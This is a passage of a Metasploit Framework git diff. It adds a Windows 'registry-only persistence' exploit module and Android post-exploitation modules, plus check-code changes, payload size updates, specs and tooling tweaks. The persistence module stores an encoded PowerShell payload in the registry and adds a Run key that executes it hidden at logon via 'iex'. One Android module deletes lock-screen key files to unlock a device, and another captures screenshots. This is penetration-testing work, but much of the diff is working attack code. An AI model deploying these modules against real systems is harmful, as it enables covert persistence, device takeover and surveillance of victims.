- return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 6001 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 6002 if branch == 18 - return Exploit::CheckCode::Vulnerable if revision < 18861 + return Exploit::CheckCode::Appears if revision < 18861 else - return Exploit::CheckCode::Vulnerable if revision < 23132 + return Exploit::CheckCode::Appears if revision < 23132 end when 7600 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 7601 if branch == 18 - return Exploit::CheckCode::Vulnerable if revision < 18176 + return Exploit::CheckCode::Appears if revision < 18176 else - return Exploit::CheckCode::Vulnerable if revision < 22348 + return Exploit::CheckCode::Appears if revision < 22348 end when 9200 if branch == 16 - return Exploit::CheckCode::Vulnerable if revision < 16627 + return Exploit::CheckCode::Appears if revision < 16627 else - return Exploit::CheckCode::Vulnerable if revision < 20732 + return Exploit::CheckCode::Appears if revision < 20732 end end end diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb new file mode 100644 index 0000000000..be1c48aec6 --- /dev/null +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/powershell' +require 'msf/core/post/file' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::Powershell + include Msf::Post::Windows::Registry + include Msf::Post::File + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Registry Only Persistence', + 'Description' => %q{ + This module will install a payload that is executed during boot. + It will be executed either at user logon or system startup via the registry + value in "CurrentVersion\Run" (depending on privilege and selected method). + The payload will be installed completely in registry. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Donny Maasland ', + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter', 'cmd' ], + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "Jul 1 2015", + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'true' + } + )) + + register_options([ + OptEnum.new('STARTUP', + [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), + OptString.new('BLOB_REG_KEY', + [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), + OptString.new('BLOB_REG_NAME', + [false, 'The name to use for storing the payload blob. (Default: random)' ]), + OptString.new('RUN_NAME', + [false, 'The name to use for the \'Run\' key. (Default: random)' ]), + OptBool.new('CREATE_RC', + [false, 'Create a resource file for cleanup', true]), + ], self.class) + end + + def generate_payload_blob + opts = { + use_single_quotes: true, + encode_final_payload: true, + } + blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] + return blob + end + + def generate_cmd(root_path, blob_key_name, blob_key_reg) + cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" + return cmd + end + + def generate_blob_reg + blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" + blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8) + return blob_reg_key, blob_reg_name + end + + def generate_cmd_reg + cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) + return cmd_reg + end + + def install_blob(root_path, blob, blob_reg_key, blob_reg_name) + blob_reg_key = "#{root_path}\\#{blob_reg_key}" + new_key = false + if not registry_enumkeys(blob_reg_key) + unless registry_createkey(blob_reg_key) + fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") + end + print_good("Created registry key #{blob_reg_key}") + new_key = true + end + + unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") + fail_with(Failure::Unknown,'Failed to open the registry key for writing') + end + print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") + return new_key + end + + def install_cmd(cmd, cmd_reg, root_path) + unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') + fail_with(Failure::Unknown,'Could not install run key') + end + print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") + end + + def get_root_path + if datastore['STARTUP'] == 'USER' + root_path = 'HKCU' + else + root_path = 'HKLM' + end + return root_path + end + + def log_file(log_path = nil) # Thanks Meatballs for this + # Get hostname + host = session.session_host + + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + end + + # Create the log directory + ::FileUtils.mkdir_p(logs) + + # logfile name + logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') + logfile + end + + def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this + clean_rc = log_file() + @clean_up_rc = "" + @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" + if new_key + @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" + end + @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" + file_local_write(clean_rc, @clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") + + report_note(:host => session.session_host, + type: 'host.persistance.cleanup', + data: { + local_id: session.sid, + stype: session.type, + desc: session.info, + platform: session.platform, + via_payload: session.via_payload, + via_exploit: session.via_exploit, + created_at: Time.now.utc, + commands: @clean_up_rc + } + ) + end + + def check + unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") + return Msf::Exploit::CheckCode::Safe + end + return Msf::Exploit::CheckCode::Vulnerable + end + + def exploit + unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") + print_warning('Warning: PowerShell does not seem to be available, persistence might fail') + end + + print_status('Generating payload blob..') + blob = generate_payload_blob + print_good("Generated payload, #{blob.length} bytes") + + root_path = get_root_path + print_status("Root path is #{root_path}") + + blob_reg_key, blob_reg_name = generate_blob_reg + cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) + cmd_reg = generate_cmd_reg + + print_status('Installing payload blob..') + new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name) + + print_status('Installing run key') + install_cmd(cmd, cmd_reg, root_path) + + if datastore['CREATE_RC'] + create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) + end + end +end + diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb index 11122defcd..fc78d7e63f 100644 --- a/modules/exploits/windows/local/virtual_box_guest_additions.rb +++ b/modules/exploits/windows/local/virtual_box_guest_additions.rb @@ -115,13 +115,13 @@ class Metasploit3 < Msf::Exploit::Local case minor when 0 - return Exploit::CheckCode::Vulnerable if build < 26 + return Exploit::CheckCode::Appears if build < 26 when 1 - return Exploit::CheckCode::Vulnerable if build < 34 + return Exploit::CheckCode::Appears if build < 34 when 2 - return Exploit::CheckCode::Vulnerable if build < 26 + return Exploit::CheckCode::Appears if build < 26 when 3 - return Exploit::CheckCode::Vulnerable if build < 12 + return Exploit::CheckCode::Appears if build < 12 end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index b7cad7c88a..0d02343531 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', #none/process/thread/seh + 'EXITFUNC' => 'thread', #none/process/thread/seh }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index aae027fa49..f77cd30561 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 146664e239..49588e2655 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index 1dda4114cb..0e3e0d5811 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index f8680550e5..dfd56e1440 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options' module Metasploit4 - CachedSize = 25685 + CachedSize = 26128 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index fa311123ee..61879f0de6 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = 437 + CachedSize = 450 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb index 8c21b7ffe1..51158fc908 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = 478 + CachedSize = 491 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 diff --git a/modules/post/android/capture/screen.rb b/modules/post/android/capture/screen.rb new file mode 100644 index 0000000000..678d228d01 --- /dev/null +++ b/modules/post/android/capture/screen.rb @@ -0,0 +1,73 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Post + + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Android Screen Capture', + 'Description' => %q{ + This module takes a screenshot of the target phone. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'timwr' ], + 'Platform' => [ 'android' ], + 'SessionTypes' => [ 'shell', 'meterpreter' ] + )) + + register_options( + [ + OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/data/local/tmp/']), + OptString.new('EXE_PATH', [true, 'Path to remote screencap executable', '/system/bin/screencap']) + ], self.class) + end + + def run + id = cmd_exec('id') + unless id =~ /root/ or id =~ /shell/ + print_error("This module requires shell or root permissions") + return + end + + exe_path = datastore['EXE_PATH'] + tmp_path = datastore['TMP_PATH'] + if not file?(exe_path) + print_error("Aborting, screencap binary not found.") + return + end + + begin + file = "#{tmp_path}/#{Rex::Text.rand_text_alpha(7)}.png" + cmd_exec("#{exe_path} -p #{file}") + print_good("Downloading screenshot...") + data = read_file(file) + file_rm(file) + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Error taking the screenshot") + vprint_error("#{e.class} #{e} #{e.backtrace}") + return + end + + unless data + print_error("No data for screenshot") + return + end + + begin + fn = "screenshot.png" + location = store_loot("screen_capture.screenshot", "image/png", session, data, fn, "Screenshot") + print_good("Screenshot saved at #{location}") + rescue ::IOError, ::Errno::ENOENT => e + print_error("Error storing screenshot") + vprint_error("#{e.class} #{e} #{e.backtrace}") + return + end + end +end diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb new file mode 100644 index 0000000000..9498d0fbec --- /dev/null +++ b/modules/post/android/manage/remove_lock_root.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Post + + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => "Android Root Remove Device Locks", + 'Description' => %q{ + This module uses root privileges to remove the device lock. + In some cases the original lock method will still be present but any key/gesture will + unlock the device. + }, + 'Privileged' => true, + 'License' => MSF_LICENSE, + 'Author' => [ 'timwr' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Platform' => 'android', + } + )) + end + + def run + id = cmd_exec('id') + unless id =~ /root/ + #print_error("This module requires root permissions") + #return + end + + %W{ + /data/system/password.key + /data/system/gesture.key + }.each do |path| + print_status("Removing #{path}") + cmd_exec("rm #{path}") + end + + print_status("Device should be unlocked or no longer require a pin") + end + +end + diff --git a/scripts/resource/basic_discovery.rc b/scripts/resource/basic_discovery.rc index 86bfb39e93..eb7fe91478 100644 --- a/scripts/resource/basic_discovery.rc +++ b/scripts/resource/basic_discovery.rc @@ -559,7 +559,7 @@ framework.db.workspace.hosts.each do |host| jobwaiting(maxjobs,verbose) print_line("Module: vmware_server_dir_trav") - run_single("use auxiliary/scanner/http/vmware_server_dir_trav") + run_single("use auxiliary/scanner/vmware/vmware_server_dir_trav") if(verbose == 1) infos(serv,host) end diff --git a/spec/lib/msf/core/post/android/priv_spec.rb b/spec/lib/msf/core/post/android/priv_spec.rb new file mode 100644 index 0000000000..527d58a03c --- /dev/null +++ b/spec/lib/msf/core/post/android/priv_spec.rb @@ -0,0 +1,37 @@ +# -*- coding: binary -*- + +require 'msf/core/post/android/priv' + +describe Msf::Post::Android::Priv do + + subject do + mod = Module.new + mod.extend(described_class) + mod + end + + let(:nonroot_id) do + %Q|uid=10043(u0_a43) gid=10043(u0_a43) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet)| + end + + let(:root_id) do + %Q|uid=0(0)| + end + + describe '#is_root?' do + context 'when not root' do + it 'returns FalseClass' do + allow(subject).to receive(:cmd_exec).with('id').and_return(nonroot_id) + expect(subject.is_root?).to be_falsey + end + end + + context 'when root' do + it 'returns TrueClass' do + allow(subject).to receive(:cmd_exec).with('id').and_return(root_id) + expect(subject.is_root?).to be_truthy + end + end + end + +end diff --git a/spec/lib/msf/core/post/android/system_spec.rb b/spec/lib/msf/core/post/android/system_spec.rb new file mode 100644 index 0000000000..e24bc0cbf0 --- /dev/null +++ b/spec/lib/msf/core/post/android/system_spec.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +require 'msf/core/post/android/system' + +describe Msf::Post::Android::System do + + subject do + mod = Module.new + mod.extend(described_class) + mod + end + + let(:build_prop_output) do + %Q|ro.build.version.sdk=16 +ro.build.version.release=4.1.1 +| + end + + describe '#get_sysinfo' do + let(:expected_android_version) do + '4.1.1' + end + + it 'returns the android version' do + allow(subject).to receive(:cmd_exec).and_return(build_prop_output) + expect(subject.get_build_prop['ro.build.version.release']).to eq(expected_android_version) + end + end + +end diff --git a/spec/lib/net/dns/rr/classes_spec.rb b/spec/lib/net/dns/rr/classes_spec.rb new file mode 100644 index 0000000000..7b2fc8cb90 --- /dev/null +++ b/spec/lib/net/dns/rr/classes_spec.rb @@ -0,0 +1,62 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'net/dns' + +describe Net::DNS::RR::Classes do + + subject do + described_class.new + end + + describe '#initialize' do + subject(:rr_class) do + described_class.allocate + end + + it 'raises when initialized with no args' do + expect { rr_class.send(:initialize) }.to raise_error(ArgumentError) + end + + it 'respects default RR class when initialized with a nil RR class' do + rr_class.send(:initialize, nil) + expect(rr_class.to_i).to eql(1) + expect(rr_class.to_s).to eql('IN') + end + + # TODO: figure out why this doesn't work + skip 'respects configured default RR class' do + rr_class.send(:default=, 'NONE') + expect(rr_class.to_i).to eql(254) + expect(rr_class.to_s).to eql('NONE') + end + + it 'initializes with a valid RR class Fixnum argument' do + rr_class.send(:initialize, 4) + expect(rr_class.to_i).to eql(4) + expect(rr_class.to_s).to eql('HS') + end + + it 'raises when the supplied RR class Fixnum is invalid' do + expect { rr_class.send(:initialize, 123456) }.to raise_error(ClassArgumentError) + expect { rr_class.send(:initialize, -1) }.to raise_error(ClassArgumentError) + end + + it 'initializes with a valid RR class String argument' do + rr_class.send(:initialize, 'CH') + expect(rr_class.to_i).to eql(3) + expect(rr_class.to_s).to eql('CH') + rr_class.send(:initialize, 'CLASS9') + expect(rr_class.to_i).to eql(9) + expect(rr_class.to_s).to eql('CLASS9') + rr_class.send(:initialize, 'CLASS1') + expect(rr_class.to_i).to eql(1) + expect(rr_class.to_s).to eql('IN') + end + + it 'raises when the supplied RR class String is invalid' do + expect { rr_class.send(:initialize, 'cats') }.to raise_error(ClassArgumentError) + expect { rr_class.send(:initialize, 'CLASS123456') }.to raise_error(ClassArgumentError) + end + end +end diff --git a/spec/lib/net/dns/rr/types_spec.rb b/spec/lib/net/dns/rr/types_spec.rb new file mode 100644 index 0000000000..728525faad --- /dev/null +++ b/spec/lib/net/dns/rr/types_spec.rb @@ -0,0 +1,62 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'net/dns' + +describe Net::DNS::RR::Types do + + subject do + described_class.new + end + + describe '#initialize' do + subject(:rr_type) do + described_class.allocate + end + + it 'raises when initialized with no args' do + expect { rr_type.send(:initialize) }.to raise_error(ArgumentError) + end + + it 'respects default RR type when initialized with a nil RR type' do + rr_type.send(:initialize, nil) + expect(rr_type.to_i).to eql(1) + expect(rr_type.to_s).to eql('A') + end + + # TODO: figure out why this doesn't work + skip 'respects configured default RR type' do + rr_type.send(:default=, 'CNAME') + expect(rr_type.to_i).to eql(5) + expect(rr_type.to_s).to eql('CNAME') + end + + it 'initializes with a valid RR type Fixnum argument' do + rr_type.send(:initialize, 2) + expect(rr_type.to_i).to eql(2) + expect(rr_type.to_s).to eql('NS') + end + + it 'raises when the supplied RR type Fixnum is invalid' do + expect { rr_type.send(:initialize, 123456) }.to raise_error(TypeArgumentError) + expect { rr_type.send(:initialize, -1) }.to raise_error(TypeArgumentError) + end + + it 'initializes with a valid RR type String argument' do + rr_type.send(:initialize, 'SRV') + expect(rr_type.to_i).to eql(33) + expect(rr_type.to_s).to eql('SRV') + rr_type.send(:initialize, 'TYPE12') + expect(rr_type.to_i).to eql(12) + expect(rr_type.to_s).to eql('PTR') + rr_type.send(:initialize, 'TYPE123') + expect(rr_type.to_i).to eql(123) + expect(rr_type.to_s).to eql('TYPE123') + end + + it 'raises when the supplied RR type String is invalid' do + expect { rr_type.send(:initialize, 'cats') }.to raise_error(TypeArgumentError) + expect { rr_type.send(:initialize, 'TYPE123456') }.to raise_error(TypeArgumentError) + end + end +end diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb new file mode 100644 index 0000000000..46ac22d268 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerCertutil do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/tools/module_reference.rb b/tools/module_reference.rb index d57c91128f..f678f81d77 100755 --- a/tools/module_reference.rb +++ b/tools/module_reference.rb @@ -23,17 +23,18 @@ require 'uri' # We gsub '#{in_ctx_val}' with the actual value def types { - 'ALL' => '', - 'OSVDB' => 'http://www.osvdb.org/#{in_ctx_val}', - 'CVE' => 'http://cvedetails.com/cve/#{in_ctx_val}/', - 'CWE' => 'http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html', - 'BID' => 'http://www.securityfocus.com/bid/#{in_ctx_val}', - 'MSB' => 'http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}', - 'EDB' => 'http://www.exploit-db.com/exploits/#{in_ctx_val}', - 'US-CERT-VU' => 'http://www.kb.cert.org/vuls/id/#{in_ctx_val}', - 'ZDI' => 'http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}', - 'WPVDB' => 'https://wpvulndb.com/vulnerabilities/#{in_ctx_val}', - 'URL' => '#{in_ctx_val}' + 'ALL' => '', + 'OSVDB' => 'http://www.osvdb.org/#{in_ctx_val}', + 'CVE' => 'http://cvedetails.com/cve/#{in_ctx_val}/', + 'CWE' => 'http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html', + 'BID' => 'http://www.securityfocus.com/bid/#{in_ctx_val}', + 'MSB' => 'http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}', + 'EDB' => 'http://www.exploit-db.com/exploits/#{in_ctx_val}', + 'US-CERT-VU' => 'http://www.kb.cert.org/vuls/id/#{in_ctx_val}', + 'ZDI' => 'http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}', + 'WPVDB' => 'https://wpvulndb.com/vulnerabilities/#{in_ctx_val}', + 'PACKETSTORM' => 'https://packetstormsecurity.com/files/#{in_ctx_val}', + 'URL' => '#{in_ctx_val}' } end @@ -145,7 +146,7 @@ def is_url_alive?(uri) if res.nil? || res.code == 404 || res.body =~ /.*not found<\/title>/i #puts "Return false 3: HTTP #{res.code}" #puts req.to_s - return false + return false end true diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 34ec47a17b..68f4eecdf8 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -193,6 +193,8 @@ class Msftidy warn("Invalid ZDI reference") if value !~ /^\d{2}-\d{3}$/ when 'WPVDB' warn("Invalid WPVDB reference") if value !~ /^\d+$/ + when 'PACKETSTORM' + warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/ when 'URL' if value =~ /^http:\/\/www\.osvdb\.org/ warn("Please use 'OSVDB' for '#{value}'") @@ -208,6 +210,8 @@ class Msftidy warn("Please use 'US-CERT-VU' for '#{value}'") elsif value =~ /^https:\/\/wpvulndb\.com\/vulnerabilities\// warn("Please use 'WPVDB' for '#{value}'") + elsif value =~ /^http:\/\/packetstormsecurity\.com\/files\// + warn("Please use 'PACKETSTORM' for '#{value}'") end end end @@ -555,6 +559,10 @@ class Msftidy end end + if ln =~ /['"]ExitFunction['"]\s*=>/ + warn("Please use EXITFUNC instead of ExitFunction #{ln}", idx) + end + end end